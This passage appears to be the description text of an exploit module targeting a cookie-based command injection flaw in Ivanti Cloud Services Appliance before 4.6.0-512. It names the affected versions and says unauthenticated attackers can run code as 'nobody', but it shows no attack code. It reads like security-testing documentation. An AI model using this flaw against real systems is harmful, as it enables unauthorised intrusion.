          This module exploits a command injection vulnerability in the Ivanti Cloud Services Appliance (CSA)
          for Ivanti Endpoint Manager. A cookie based code injection vulnerability in the
          Cloud Services Appliance before `4.6.0-512` allows an unauthenticated user to
          execute arbitrary code with limited permissions. Successful exploitation results
          in command execution as the `nobody` user.
